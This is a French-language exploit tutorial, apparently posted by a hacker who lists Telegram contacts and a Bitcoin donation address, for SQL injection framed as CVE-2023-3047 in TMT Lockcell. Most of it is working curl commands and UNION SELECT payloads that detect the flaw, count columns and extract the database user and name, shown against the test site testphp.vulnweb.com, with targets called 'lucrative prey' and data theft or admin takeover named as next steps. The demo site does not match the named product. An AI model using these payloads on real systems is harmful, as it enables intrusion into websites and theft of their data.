
Telegram : @ghostman_s3c ou @Chrome2024
Don BTC : 17L22i227Keet23QCNaeCyrQ6xfiTQpQJ5
Une vulnérabilité de neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL ('SQL Injection') dans TMT Lockcell permet une injection SQL. Ce problème affecte Lockcell : versions antérieures à 15.
Tout d'abord, nous allons vérifier si l'erreur CVE-2023-3047 est présente. Ouvrez un terminal et assurez-vous qu'il prend en charge l'outil cURL
curl <your_url_vulnerable> | grep "at line"
après avoir appuyé sur Entrée, et s'il affiche quelque chose comme 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1, alors votre site web est victime de l'erreur CVE-2023-3047
ok, ensuite nous allons essayer de voir si ce site web bloque ces attaques par injection, essayez d'utiliser la commande suivante et testez-la
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
et appuyez sur Entrée, si cela affiche comme l'image ci-dessous, alors vous avez une proie lucrative
Et maintenant, vous devez continuer le payload union select de 1 jusqu'à un certain nombre considéré comme valide pour le nombre de colonnes du site web MySQL.
ok, mon objectif a un nombre de colonnes valide de 1 à 11 ; dans l'image ci-dessous, deux résultats complètement différents : au-dessus, on a encore The used SELECT, et en dessous, non.
Et maintenant, je vais aller sur Google et vérifier si cela correspond aux résultats ci-dessus ou non, et par la même occasion, j'obtiendrai un autre numéro à partir duquel je pourrai obtenir des informations.
Eh bien, il semble que le résultat soit tout à fait valide, et il y a 3 numéros que nous pouvons injecter pour obtenir des informations.
et maintenant, nous allons nous exercer à injecter des commandes SQL pour en obtenir des informations
et nous utiliserons le payload : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
Oh oh, il semble que cette commande ne soit pas très bonne, car nous n'avons pas encodé le payload dans une URL
et maintenant, ma tâche consiste à encoder ce payload dans un chemin d'URL pour poursuivre la cyberattaque
Nous allons utiliser Burp Suite pour les encoder
Maintenant, sélectionnez Decoder, puis sélectionnez Encode as sur le côté gauche de l'écran, puis sélectionnez URL et entrez votre payload. Quant à mon erreur ci-dessus, elle contient des caractères spéciaux comme : (, ) qui ne suffisent pas à satisfaire les exigences, donc je vais simplement encoder la commande insérée pour obtenir les informations de la base de données.
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
et après avoir appuyé sur Entrée, c'est la fin du jeu : le nom d'utilisateur et la base de données ont été exposés. Non seulement cela, les hackers peuvent injecter d'autres payloads pour obtenir plus d'informations, par exemple en extrayant les données de la base pour voler des informations ou prendre le contrôle de l'administrateur du site web
Donc, le jeu est terminé, le nom d'utilisateur est acuart@localhost et le nom de la base de données est acuart